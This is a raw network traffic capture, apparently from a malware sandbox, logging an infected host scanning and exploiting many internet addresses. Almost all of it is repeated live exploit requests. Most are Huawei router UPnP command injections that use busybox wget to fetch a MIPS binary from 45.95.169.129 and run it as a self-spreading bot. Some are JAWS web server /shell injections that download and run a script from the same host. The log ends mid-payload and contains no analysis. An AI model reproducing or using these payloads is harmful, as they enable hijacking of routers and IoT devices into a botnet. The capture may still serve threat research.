3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.14	59118	197.254.126.85	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:09.236568928 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.14	47546	156.252.210.42	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.259556055 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.14	37908	197.96.93.111	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.276523113 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.14	58282	74.171.106.18	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.548772097 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	33008	176.169.106.94	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.549330950 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	47102	181.254.228.55	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.549935102 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	47466	122.13.196.224	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.550447941 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	58638	109.75.255.126	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.562433958 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	40064	54.213.244.240	80

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:10.564456940 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+45.95.169.129/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	33490	197.45.184.16	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.250845909 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	39294	156.104.210.113	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.251606941 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	45658	156.156.231.215	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.252124071 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	42806	156.59.247.233	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.252626896 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	59256	41.69.12.241	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.253109932 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.14	59148	197.130.192.70	37215

Timestamp	Bytes transferred	Direction	Data
Jan 30, 2025 10:43:11.253614902 CET	915	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo 